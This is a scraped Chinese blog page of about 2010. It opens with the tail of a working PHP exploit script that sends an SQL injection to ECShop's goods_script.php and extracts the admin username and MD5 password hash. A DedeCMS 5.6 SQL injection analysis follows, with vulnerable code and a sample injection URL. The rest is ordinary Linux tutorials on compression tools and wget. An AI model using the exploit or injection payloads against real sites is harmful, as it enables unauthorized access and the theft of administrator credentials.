    21. path:      path to ecshop  
    22. Example:  
    23. php '.$argv[0].' localhost /ecshop/  
    24. +---------------------------------------------------------------------------+  
    25. ');  
    26.     exit;  
    27. }  
    28.  
    29. error_reporting(7);  
    30. ini_set('max_execution_time', 0);  
    31.  
    32. $host = $argv[1];  
    33. $path = $argv[2];  
    34.  
    35. $resp = send();  
    36. preg_match('#href="([\S]+):([a-z0-9]{32})"#'$resp$hash);  
    37.  
    38. if ($hash)  
    39.     exit("Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n");  
    40. else 
    41.     exit("Exploit Failed!\n");  
    42.  
    43. function send()  
    44. {  
    45.     global $host$path;  
    46.  
    47.     $cmd = 'sql=SELECT CONCAT(user_name,0x3a,password) as goods_id FROM ecs_admin_user WHERE action_list=0x'.bin2hex('all').' LIMIT 1#';  
    48.  
    49.     $data = "POST ".$path."goods_script.php?type=".time()."  HTTP/1.1\r\n";  
    50.     $data .= "Accept: */*\r\n";  
    51.     $data .= "Accept-Language: zh-cn\r\n";  
    52.     $data .= "Content-Type: application/x-www-form-urlencoded\r\n";  
    53.     $data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";  
    54.     $data .= "Host: $host\r\n";  
    55.     $data .= "Content-Length: ".strlen($cmd)."\r\n";  
    56.     $data .= "Connection: Close\r\n\r\n";  
    57.     $data .= $cmd;  
    58.  
    59.     $fp = fsockopen($host, 80);  
    60.     fputs($fp$data);  
    61.  
    62.     $resp = '';  
    63.  
    64.     while ($fp && !feof($fp))  
    65.         $resp .= fread($fp, 1024);  
    66.  
    67.     return $resp;  
    68. }  
    69.  
    70. ?> 

 

标签分类: 脚本漏洞 网站漏洞 0day SQL注入

 
 
我的QQ空间
小析linux之压缩,解压,打包命令
文件压缩和归档有时候,我们需要把一组文件贮存成一个文件以便备...
 

dedecms5.6注入漏洞分析与利用

| | 0 评论 |

  • 发布日期:2010-07.20  
  • 发布作者:xhm1n9
  • 官方地址:www.dedecms.com
  • 漏洞描述:  

    1. 此漏洞最先由toby57牛在http: //hi.baidu.com/toby57/blog/item/074f6b592d1dac272834f0c7.html公布出来,本人只是将漏洞跟了下,希望toby57别见怪啊!利用地方不一样,但问题出在同一地方!

    caicai.php
    ...............................................................................
     

    1. if($tid!=0)  
    2. {  
    3. $arr = $dsql->GetOne("Select * From `dede_arctype` where id='$tid' And corank=0 ");  
    4. if($cfg_list_son=='Y')  
    5. {  
    6. $CrossID = GetSonIds($tid,$arr['channeltype']); //注意  
    7. }  
    8. else  
    9. {  
    10. $CrossID = $tid;  
    11. }  
    12. .........................  
    13. $typequery = " arc.typeid in($CrossID) And ";  
    14. }  
    15.  
    16. $query = "Select arc.*,m.userid,m.face,  
    17. tp.typedir,tp.typename,tp.isdefault,tp.defaultname,tp.namerule,tp.namerule2,tp.ispart,tp.moresite,tp.siteurl,tp.sitepath  
    18. From `dede_archives` arc left join `dede_arctype` tp on tp.id=arc.typeid left join `dede_member` m on m.mid=arc.mid  
    19. where $typequery arc.arcrank>-1  
    20. order by arc.`{$sort}` desc limit $maxrc ";  
    21. $dlist->SetParameter('tid',$tid);  
    22. $dlist->SetParameter('sort',$sort);  
    23. $dlist->SetTemplate(DEDEMEMBER.'/templets/caicai.htm');  
    24. $dlist->SetSource($query);  

    .............................................................................................

    GetSonIds()函数在channelunit.func.php中有定义

    1. function GetSonIds($id,$channel=0,$addthis=true)  
    2. {  
    3. global $_Cs; //注意  
    4. $GLOBALS['idArray'] = array();  
    5. if( !is_array($_Cs) )  
    6. {  
    7. require_once(DEDEROOT."/data/cache/inc_catalog_base.inc");  
    8. }  
    9. GetSonIdsLogic($id,$_Cs,$channel,$addthis);  
    10. $rquery = join(',',$GLOBALS['idArray']);  
    11. $rquery = preg_replace("/,$/", '', $rquery);  
    12.  
    13. return $rquery;  
    14. }  
    15.  
    16. //递归逻辑  
    17. function GetSonIdsLogic($id,$sArr,$channel=0,$addthis=false)  
    18. { echo $id;  
    19. if($id!=0 && $addthis)  
    20. {  
    21. $GLOBALS['idArray'][$id] = $id;  
    22. }  
    23. foreach($sArr as $k=>$v)  
    24. {   
    25. if( $v[0]==$id && ($channel==0 || $v[1]==$channel ))  
    26. {  
    27. GetSonIdsLogic($k,$sArr,$channel,true);var_dump($GLOBALS['idArray']); //第一个参数为$_Cs下标  
    28. }  
    29. }  
    30. }  


    漏洞在于引进函数中的$_Cs没有初始化,我们可以利用它的下标注入
    例:caicai.php?tid=1&_Cs[8)'][0]=1&_Cs[8)'][1]=1就会看到报错信息.
     

    2,mtypes.php 注入

    1. elseif ($dopost == 'save')  
    2. {  
    3. if(isset($mtypeidarr) && is_array($mtypeidarr))  
    4. {  
    5. $delids = '0';  
    6. $mtypeidarr = array_filter($mtypeidarr, 'is_numeric');  
    7. foreach($mtypeidarr as $delid)  
    8. {  
    9. $delids .','.$delid;  
    10. unset($mtypename[$delid]);  
    11. }  
    12. $query = "delete from `dede_mtypes` where mtypeid in ($delids) and mid='$cfg_ml->M_ID';";  
    13. $dsql->ExecNoneQuery($query);  
    14. }  
    15. foreach ($mtypename as $id => $name) //注意  
    16. {  
    17. echo $name = HtmlReplace($name);  
    18. echo $id;  
    19. $query = "update `dede_mtypes` set mtypename='$name' where mtypeid='$id' and mid='$cfg_ml->M_ID'";  
    20. $dsql->ExecuteNoneQuery($query);  
    21. }  
    22. //ShowMsg('分类修改完成','mtypes.php');  
    23. }  

    magic_quotes_gpc=off时,程序没处理$mtypename数组下标的值,可造成注入

    现在的dedecms默认开启了内置80sec写的过滤函数,注入语句要特殊构造,上面给的链接里其实牛人己忽破了,感兴趣的同鞋们可以自己看图本地测试:)

  • From:http://www.hackline.net/a/news/ldfb/web/2010/0721/4824.html
     
    我的QQ空间
    小析linux之压缩,解压,打包命令
    文件压缩和归档有时候,我们需要把一组文件贮存成一个文件以便备...
     

    小析linux之压缩,解压,打包命令

    2010年7月20日星期二 | | 0 评论 |

    文件压缩和归档

    有时候,我们需要把一组文件贮存成一个文件以便备份或传输到另一个目录甚至另一个计算机上。有时候,我们还需要把文件压缩成一个文件,因而它们仅使用少量磁盘空间并能更快地通过互联网下载。

    理解归档文件(archive file)压缩文件(compressed file)间的区别对用户来说十分重要。归档文件是一个文件和目录的集合,而这个集合被贮存在一个文件中。归档文件没有经过压缩 — 它所使用的磁盘空间是其中所有文件和目录的总和。压缩文件也是一个文件和目录的集合,且这个集合也被贮存在一个文件中,但是,它的贮存方式使其所占用的磁盘空间比其中所有文件和目录的总和要少。如果你在计算机上的磁盘空间不足,你可以压缩不常使用的、或不再使用但想保留的文件。你甚至可以创建归档文件,然后再将其压缩来节省磁盘空间。

    注记

    归档文件不是压缩文件,但是压缩文件可以是归档文件。

    使用文件打包器

    Red Hat Linux 包括了一个图形化的压缩工具"文件打包器"。它可以压缩、解压、并归档文件和目录。文件打包器支持通用的 UNIX 和 Linux 文件压缩和归档格式,而且它的界面简单,文档丰富。它还被集成到桌面环境和图形化文件管理器中,使处理归档文件的工作更加简便易行。

    要启动 文件打包器,点击「主菜单」 => 「附件」 => 「文件打包器」。你还可以从 shell 提示下键入 file-roller 来启动文件打包器。图 14-1显示了运行中的文件打包器。

    窍门

    如果你使用的是文件管理器(如 Nautilus),你可以双击你想解除归档或解压的文件来启动文件打包器。文件打包器的浏览窗口就会出现,其中的文件夹里显示了你要解压或解除归档的文件,以便你来抽取或浏览。

    图 14-1. 运行中的文件打包器

    使用文件打包器来解压或解除归档

    要取消归档或者(并且)解压文件,点击工具栏上的「打开」按钮。一个文件菜单就会弹出,允许你选择你要操作的归档。譬如,如果你的主目录中有一个 foo.tar.gz 文件,突出显示该文件,然后点击「确定」。该文件就会作为文件夹出现在文件打包器的主浏览窗口中,你可以双击该文件夹图标来翻阅其中的内容。文件打包器保留所有原有的目录和子目录结构,这便于你在归档中查找某一特定文件。你可以点击「抽取」按钮,选择你要保存这些解除归档后的文件的目录,然后点击「确定」按钮来抽取其中的某个文件或整个归档。

    使用文件打包器来创建归档文件

    如果你需要腾出一些硬盘空间,或者把多个文件或某一目录下的所有文件发送给另一名用户,文件打包器允许你创建文件和目录的归档。要创建新归档,点击工具栏上的「新建」按钮。一个文件浏览器会弹出,允许你指定归档名称和压缩技术。譬如,你可以从拉下菜单中选择「用 gzip 压缩的 Tar (tar.gz) 格式,然后键入你想创建的归档文件的名称。点击「确定」,你就可以在新归档中添加文件和目录了。要在你的新归档中添加文件,点击「添加」,这会弹出一个浏览窗口(图 14-2),你可以从中查找要放入归档中的文件或目录。结束后点击「确定」和「关闭」按钮来关闭归档。

    图 14-2. 使用文件打包器来创建归档

    窍门

    文件打包器能够执行的任务不止这里提到的这些。请阅读文件打包器 的说明书(点击「帮助」 => 「说明书」)来获取详细信息。

    在 shell 提示下压缩文件

    压缩文件使用较少磁盘空间,并且比未压缩的大文件下载速度要快。在 Red Hat Linux 中,你可以使用的文件压缩工具有:gzipbzip2、和 zip

    推荐你使用 bzip2 压缩工具,因为它提供了最大限度的压缩,并且可在多数类似 UNIX 的操作系统上找到。gzip 压缩工具也可以在类似 UNIX 的操作系统上找到。如果你需要在 Linux 和其它操作系统如 MS Windows 间传输文件,你应该使用 zip,因为该命令与 Windows 上的压缩工具最兼容。

    压缩工具 文件扩展名 解压工具
    gzip .gz gunzip
    bzip2 .bz2 bunzip2
    zip .zip unzip

    表 14-1. 压缩工具

    按照约定俗成,用 gzip 来压缩的文件的扩展名是 .gz;用 bzip2 来压缩的文件的扩展名是 .bz2;用 zip 压缩的文件的扩展名是 .zip

    gzip 压缩的文件可以使用 gunzip 来解压;用 bzip2 压缩的文件可以使用 bunzip2 来解压;用 zip 压缩的文件可以使用 unzip 来解压。

    bzip2 和 bunzip2

    要使用 bzip2 来压缩文件,在 shell 提示下键入以下命令:

    bzip2 filename

    文件即会被压缩并被保存为 filename.bz2

    要扩展压缩的文件,键入以下命令:

    bunzip2 filename.bz2

    filename.bz2 文件会被删除,而继之以 filename

    你可以使用 bzip2 命令同时处理多个文件和目录,方法是将它们逐一列出,并用空格间隔:

    bzip2 filename.bz2 file1 file2 file3 /usr/work/school 

    上面的命令把 file1file2 file3、以及 /usr/work/school 目录的内容(假设这个目录存在)压缩起来,然后放入 filename.bz2 文件中。

    窍门

    要获得有关这两个命令的详细信息,在 shell 提示下键入 man bzip2man bunzip2 来阅读 bzip2bunzip2 命令的说明书页。

    gzip 和 gunzip

    要使用 gzip 来压缩文件,在 shell 提示下键入以下命令:

    gzip filename

    文件即会被压缩,并被保存为 filename.gz

    要扩展压缩的文件,键入以下命令:

    gunzip filename.gz

    filename.gz 会被删除,而继之以 filename

    你可以使用 gzip 命令同时处理多个文件和目录,方法是将它们逐一列出,并用空格间隔:

    gzip -r filename.gz file1 file2 file3 /usr/work/school 

    上面的命令把 file1file2 file3、以及 /usr/work/school 目录的内容(假设这个目录存在)压缩起来,然后放入 filename.gz 文件中。

    窍门

    要获得有关这两个命令的详细信息,在 shell 提示下键入 man gzipman gunzip 来阅读 gzipgunzip 命令的说明书页。

    zip 和 unzip

    要使用 zip 来压缩文件,在 shell 提示下键入下面的命令:

    zip -r filename.zip filesdir

    在这个例子里,filename.zip 代表你创建的文件,filesdir 代表你想放置新 zip 文件的目录。-r 选项指定你想递归地(recursively)包括所有包括在 filesdir 目录中的文件。

    要抽取 zip 文件的内容,键入以下命令:

    unzip filename.zip

    你可以使用 zip 命令同时处理多个文件和目录,方法是将它们逐一列出,并用空格间隔:

    zip -r filename.zip file1 file2 file3 /usr/work/school 

    上面的命令把 file1file2 file3、以及 /usr/work/school 目录的内容(假设这个目录存在)压缩起来,然后放入 filename.zip 文件中。

    窍门

    要获得有关这两个命令的详细信息,在 shell 提示下键入 man zipman unzip 来阅读 zipunzip 命令的说明书页。

    在 shell 提示下给文件归档

    tar 文件是几个文件和(或)目录在一个文件中的集合。这是创建备份和归档的佳径。

    tar 使用的选项有:

    • -c — 创建一个新归档。

    • -f — 当与 -c 选项一起使用时,创建的 tar 文件使用该选项指定的文件名;当与 -x 选项一起使用时,则解除该选项指定的归档。

    • -t — 显示包括在 tar 文件中的文件列表。

    • -v — 显示文件的归档进度。

    • -x — 从归档中抽取文件。

    • -z — 使用 gzip 来压缩 tar 文件。

    • -j — 使用 bzip2 来压缩 tar 文件。

    要创建一个 tar 文件,键入:

    tar -cvf filename.tar directory/file

    在以上的例子中,filename.tar 代表你创建的文件,directory/file 代表你想放入归档文件内的文件和目录。

    你可以使用 tar 命令同时处理多个文件和目录,方法是将它们逐一列出,并用空格间隔:

    tar -cvf filename.tar /home/mine/work /home/mine/school

    上面的命令把 /home/mine 目录下的 workschool 子目录内的所有文件都放入当前目录中一个叫做 filename.tar 的新文件里。

    要列出 tar 文件的内容,键入:

    tar -tvf filename.tar

    要抽取 tar 文件的内容,键入:

    tar -xvf filename.tar

    这个命令不会删除 tar 文件,但是它会把被解除归档的内容复制到当前的工作目录下,并保留归档文件所使用的任何目录结构。譬如,如果这个 tar 文件中包含一个叫做 bar.txt 的文件,而这个文件包含在 foo/ 目录中,那么,抽取归档文件将会导致在你当前的工作目录中创建 foo/ 目录,该目录中包含 bar.txt 文件。

    请记住,tar 默认不压缩文件。要创建一个使用 tar 和 bzip 来归档压缩的文件,使用 -j 选项:

    tar -cjvf filename.tbz file

    按照约定俗成,用 bzip2 压缩的 tar 文件具有 .tbz 扩展名。不过,有时用户使用 tar.bz2 扩展名来归档他们的文件。

    以上命令创建了一个归档文件,然后将其压缩为 filename.tbz 文件。如果你使用 bunzip2 命令为 filename.tbz 文件解压,filename.tbz 文件会被删除,继之以 filename.tar 文件。

    你还可以用一个命令来扩展并解除归档 bzip tar 文件:

    tar -xjvf filename.tbz

    要创建一个用 tar 和 gzip 归档并压缩的文件,使用 -z 选项:

    tar -czvf filename.tgz file

    按照约定俗成,使用 gzip 来压缩的 tar 文件具有 .tgz 扩展名。

    这个命令创建归档文件 filename.tar,然后把它压缩为 filename.tgz 文件(文件 filename.tar 不被保留)。如果你使用 gunzip 命令来给 filename.tgz 文件解压,filename.tgz 文件会被删除,并被替换为 filename.tar

    你可以用单个命令来扩展 gzip tar 文件:

    tar -xzvf filename.tgz
     
     
    我的QQ空间
    Wget命令的用法、参数说明 一个比较好的文章
    wget是个从网络上自动下载文件的自由工具。他支持HTTP,HTTPS和F...
     

    [linux]Wget命令的用法、参数说明 一个比较好的文章

    2010年7月19日星期一 | | 0 评论 |

     wget是个从网络上自动下载文件的自由工具。他支持HTTP,HTTPS和FTP协议,能使用HTTP代理.
    所谓的自动下载是指,wget能在用户退出系统的之后在后台执行。这意味这你能登录系统,启动一个wget下载任务,然后退出系统,wget将在后台执行直到任务完成,相对于其他大部分浏览器在下载大量数据时需要用户一直的参和,这省去了极大的麻烦。
    wget 能跟踪HTML页面上的链接依次下载来创建远程服务器的本地版本,完全重建原始站点的目录结构。这又常被称作"递归下载"。在递归下载的时候,wget 遵循Robot Exclusion标准(/robots.txt). wget能在下载的同时,将链接转换成指向本地文件,以方便离线浏览。
    wget 非常稳定,他在带宽非常窄的情况下和不稳定网络中有非常强的适应性.如果是由于网络的原因下载失败,wget会不断的尝试,直到整个文件下载完毕。如果是服务器打断下载过程,他会再次联到服务器上从停止的地方继续下载。这对从那些限定了链接时间的服务器上下载大文件非常有用。
    wget的常见用法
    wget虽然功能强大,不过使用起来还是比较简单的,
    基本的语法是:wget [参数列表] "URL" 用""引起来能避免因URL中有特别字符造成的下载出错。
    下面就结合具体的例子来说明一下wget的用法。
        1、下载整个http或ftp站点。
        wget
    http://place.your.url/here
        这个命令能将
    http://place.your.url/here
    首页下载下来。使用-x会强制建立服务器上一模相同的目录,如果使用-nd参数,那么服务器上下载的所有内容都会加到本地当前目录。
        wget -r
    http://place.your.url/here
        这个命令会按照递归的方法,下载服务器上所有的目录和文件,实质就是下载整个网站。这个命令一定要小心使用,因为在下载的时候,被下载网站指向的所有地址同样会被下载,因此,如果这个网站引用了其他网站,那么被引用的网站也会被下载下来!基于这个原因,这个参数不常用。能用-l number参数来指定下载的层次。例如只下载两层,那么使用-l 2。
        要是你想制作映像站点,那么能使用-m参数,例如:wget -m
    http://place.your.url/here
        这时wget会自动判断合适的参数来制作映像站点。此时,wget会登录到服务器上,读入robots.txt并按robots.txt的规定来执行。
        2、断点续传。
        当文件特别大或网络特别慢的时候,往往一个文件还没有下载完,连接就已被切断,此时就需要断点续传。wget的断点续传是自动的,只需要使用-c参数,例如:
        wget -c
    http://the.url.of/incomplete/file
        使用断点续传需求服务器支持断点续传。-t参数表示重试次数,例如需要重试100次,那么就写-t 100,如果设成-t 0,那么表示无穷次重试,直到连接成功。-T参数表示超时等待时间,例如-T 120,表示等待120秒连接不上就算超时。
        3、批量下载。
        如果有多个文件需要下载,那么能生成一个文件,把每个文件的URL写一行,例如生成文件download.txt,然后用命令:wget -i download.txt
    这样就会把download.txt里面列出的每个URL都下载下来。(如果列的是文件就下载文件,如果列的是网站,那么下载首页)
        4、选择性的下载。
        能指定让wget只下载一类文件,或不下载什么文件。例如:
        wget -m --reject=gif
    http://target.web.site/subdirectory
        表示下载
    http://target.web.site/subdirectory
    ,不过忽略gif文件。--accept=LIST 能接受的文件类型,--reject=LIST拒绝接受的文件类型。
        5、密码和认证。
        wget只能处理利用用户名/密码方式限制访问的网站,能利用两个参数:
        --http-user=USER设置HTTP用户
        --http-passwd=PASS设置HTTP密码
        对于需要证书做认证的网站,就只能利用其他下载工具了,例如curl。
        6、利用代理服务器进行下载。
        如果用户的网络需要经过代理服务器,那么能让wget通过代理服务器进行文件的下载。此时需要在当前用户的目录下创建一个.wgetrc文件。文件中能设置代理服务器:
        http-proxy = 111.111.111.111:8080
        ftp-proxy = 111.111.111.111:8080
        分别表示http的代理服务器和ftp的代理服务器。如果代理服务器需要密码则使用:
        --proxy-user=USER设置代理用户
        --proxy-passwd=PASS设置代理密码
        这两个参数。
        使用参数--proxy=on/off 使用或关闭代理。
        wget更有非常多有用的功能,需要用户去挖掘。
    wget的使用格式
    Usage: wget [OPTION]... [URL]...
    * 用wget做站点映像:
    wget -r -p -np -k
    http://dsec.pku.edu.cn/~usr_name/
    # 或
    wget -m
    http://dsec.pku.edu.cn/~usr_name/
    * 在不稳定的网络上下载一个部分下载的文件,及在空闲时段下载
    wget -t 0 -w 31 -c
    http://dsec.pku.edu.cn/BBC.avi
    -o down.log &
    # 或从filelist读入要下载的文件列表
    wget -t 0 -w 31 -c -B
    ftp://dsec.pku.edu.cn/linuxsoft
    -i filelist.txt -o down.log &
    上面的代码还能用来在网络比较空闲的时段进行下载。我的用法是:在mozilla中将不方便当时下载的URL链接拷贝到内存中然后粘贴到文件filelist.txt中,在晚上要出去系统前执行上面代码的第二条。
    * 使用代理下载
    wget -Y on -p -k
    https://sourceforge.net/projects/wvware/
    代理能在环境变量或wgetrc文件中设定
    # 在环境变量中设定代理
    export PROXY=http://211.90.168.94:8080/
    # 在~/.wgetrc中设定代理
    http_proxy =
    http://proxy.yoyodyne.com:18023/
    ftp_proxy =
    http://proxy.yoyodyne.com:18023/
    wget各种选项分类列表
    * 启动
      -V,  --version           显示wget的版本后退出
      -h,  --help              打印语法帮助
      -b,  --background        启动后转入后台执行
      -e,  --execute=COMMAND   执行`.wgetrc'格式的命令,wgetrc格式参见/etc/wgetrc或~/.wgetrc
    * 记录和输入文件
      -o,  --output-file=FILE     把记录写到FILE文件中
      -a,  --append-output=FILE   把记录追加到FILE文件中
      -d,  --debug                打印调试输出
      -q,  --quiet                安静模式(没有输出)
      -v,  --verbose              冗长模式(这是缺省设置)
      -nv, --non-verbose          关掉冗长模式,但不是安静模式
      -i,  --input-file=FILE      下载在FILE文件中出现的URLs
      -F,  --force-html           把输入文件当作HTML格式文件对待
      -B,  --base=URL             将URL作为在-F -i参数指定的文件中出现的相对链接的前缀
           --sslcertfile=FILE     可选客户端证书
           --sslcertkey=KEYFILE   可选客户端证书的KEYFILE
           --egd-file=FILE        指定EGD socket的文件名
    * 下载
           --bind-address=ADDRESS   指定本地使用地址(主机名或IP,当本地有多个IP或名字时使用)
      -t,  --tries=NUMBER           设定最大尝试链接次数(0 表示无限制).
      -O   --output-document=FILE   把文件写到FILE文件中
      -nc, --no-clobber             不要覆盖存在的文件或使用.#前缀
      -c,  --continue               接着下载没下载完的文件
           --progress=TYPE          设定进程条标记
      -N,  --timestamping           不要重新下载文件除非比本地文件新
      -S,  --server-response        打印服务器的回应
           --spider                 不下载所有东西
      -T,  --timeout=SECONDS        设定响应超时的秒数
      -w,  --wait=SECONDS           两次尝试之间间隔SECONDS秒
           --waitretry=SECONDS      在重新链接之间等待1...SECONDS秒
           --random-wait            在下载之间等待0...2*WAIT秒
      -Y,  --proxy=on/off           打开或关闭代理
      -Q,  --quota=NUMBER           设置下载的容量限制
           --limit-rate=RATE        限定下载输率
    * 目录
      -nd  --no-directories            不创建目录
      -x,  --force-directories         强制创建目录
      -nH, --no-host-directories       不创建主机目录
      -P,  --directory-prefix=PREFIX   将文件保存到目录 PREFIX/...
           --cut-dirs=NUMBER           忽略 NUMBER层远程目录
    * HTTP 选项
           --http-user=USER      设定HTTP用户名为 USER.
           --http-passwd=PASS    设定http密码为 PASS.
      -C,  --cache=on/off        允许/不允许服务器端的数据缓存 (一般情况下允许).
      -E,  --html-extension      将所有text/html文件以.html扩展名保存
           --ignore-length       忽略 `Content-Length'头域
           --header=STRING       在headers中插入字符串 STRING
           --proxy-user=USER     设定代理的用户名为 USER
           --proxy-passwd=PASS   设定代理的密码为 PASS
           --referer=URL         在HTTP请求中包含 `Referer: URL'头
      -s,  --save-headers        保存HTTP头到文件
      -U,  --user-agent=AGENT    设定代理的名称为 AGENT而不是 Wget/VERSION.
           --no-http-keep-alive  关闭 HTTP活动链接 (永远链接).
           --cookies=off         不使用 cookies.
           --load-cookies=FILE   在开始会话前从文件 FILE中加载cookie
           --save-cookies=FILE   在会话结束后将 cookies保存到 FILE文件中
    * FTP 选项
      -nr, --dont-remove-listing   不移走 `.listing'文件
      -g,  --glob=on/off           打开或关闭文件名的 globbing机制
           --passive-ftp           使用被动传输模式 (缺省值).
           --active-ftp            使用主动传输模式
           --retr-symlinks         在递归的时候,将链接指向文件(而不是目录)
    * 递归下载
      -r,  --recursive          递归下载--慎用!
      -l,  --level=NUMBER       最大递归深度 (inf 或 0 代表无穷).
           --delete-after       在目前完毕后局部删除文件
      -k,  --convert-links      转换非相对链接为相对链接
      -K,  --backup-converted   在转换文件X之前,将之备份为 X.orig
      -m,  --mirror             等价于 -r -N -l inf -nr.
      -p,  --page-requisites    下载显示HTML文件的所有图片
    * 递归下载中的包含和不包含(accept/reject)
      -A,  --accept=LIST                分号分隔的被接受扩展名的列表
      -R,  --reject=LIST                分号分隔的不被接受的扩展名的列表
      -D,  --domains=LIST               分号分隔的被接受域的列表
           --exclude-domains=LIST       分号分隔的不被接受的域的列表
           --follow-ftp                 跟踪HTML文件中的FTP链接
           --follow-tags=LIST           分号分隔的被跟踪的HTML标签的列表
      -G,  --ignore-tags=LIST           分号分隔的被忽略的HTML标签的列表
      -H,  --span-hosts                 当递归时转到外部主机
      -L,  --relative                   仅仅跟踪相对链接
      -I,  --include-directories=LIST   允许目录的列表
      -X,  --exclude-directories=LIST   不被包含目录的列表
      -np, --no-parent                  不要追溯到父目录
    问题
    在递归下载的时候,遇见目录中有中文的时候,wget创建的本地目录名会用URL编码规则处理。如"天网防火墙"会被存为"%CC%EC%CD%F8%B7%C0%BB%F0%C7%BD",这造成阅读上的麻烦.
     
    参考:  http://www.sudu.cn/info/html/edu/20060101/293775.html
     
    我的QQ空间
    100个可以免费发布信息的国外外贸网站
    1、Algomtlhttp://www.algomtl.com/algopages.html语种:英文2、...
     


    所有文章收集于网络,如果有牵扯到版权问题请与本站站长联系。谢谢合作![email protected]